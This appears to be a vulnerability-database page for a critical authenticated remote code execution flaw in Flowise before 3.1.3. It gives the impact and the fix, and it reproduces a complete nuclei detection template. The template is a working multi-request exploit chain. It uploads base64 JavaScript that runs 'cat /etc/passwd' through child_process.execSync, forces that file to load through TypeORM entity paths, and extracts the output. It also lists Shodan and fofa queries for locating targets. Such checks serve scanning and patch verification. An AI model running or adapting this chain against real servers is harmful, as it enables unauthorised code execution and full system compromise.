Browse / CVEs / CVE-2026-69251
CVE-2026-69251· flowiseai / flowise· CWE-94
Flowise < 3.1.3 - Remote Code Execution
criticalseverity
9CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
Impact
Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
Fix
Update to version 3.1.3 or later.
How to confirm it
Send: POST /api/v1/auth/login
Positive when: contains_any(body, "activeOrganizationId", "Unauthorized Access")
Send: POST /api/v1/document-store/store
Positive when: status_code == 200 and contains(body, "loaders")
Send: POST /api/v1/document-store/loader/save
Positive when: status_code == 200
Send: POST /api/v1/document-store/loader/process/{{loaderid}}
Positive when: status_code == 200
Send: POST /api/v1/document-store/vectorstore/insert
Positive when: regex('root:.*:0:0:', body) and !contains(body, "Disallowed TypeORM DataSource option")Run it with nuclei: nuclei -id CVE-2026-69251 -u <target>
The full check
id: CVE-2026-69251
info:
name: Flowise < 3.1.3 - Remote Code Execution
author: 1dayexploit
severity: critical
description: |
Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
impact: |
Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Update to version 3.1.3 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- https://nvd.nist.gov/vuln/detail/CVE-2026-69251
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 9.0
cve-id: CVE-2026-69251
epss-score: 0.02742
epss-percentile: 0.8629
cwe-id: CWE-94
metadata:
verified: true
max-request: 5
vendor: flowiseai
product: flowise
shodan-query: http.title:"Flowise"
fofa-query: title="Flowise"
tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive
variables:
fname: "{{to_lower(rand_text_alpha(8))}}"
payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
skip-variables-check: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
condition: and
internal: true
- raw:
- |
POST /api/v1/document-store/store HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"name":"poc-{{fname}}","description":"CVE-2026-69251"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "loaders")'
condition: and
internal: true
extractors:
- type: regex
name: storeid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
extractors:
- type: regex
name: loaderid
part: body
group: 1
regex:
- '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
internal: true
- raw:
- |
POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /api/v1/document-store/vectorstore/insert HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- '!contains(body, "Disallowed TypeORM DataSource option")'
condition: and
extractors:
- type: regex
part: body
group: 1
regex:
- 'Error: (root:.*?)",\"stack'References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- https://nvd.nist.gov/vuln/detail/CVE-2026-69251
Use this check only on systems you are authorised to test. Where the data comes from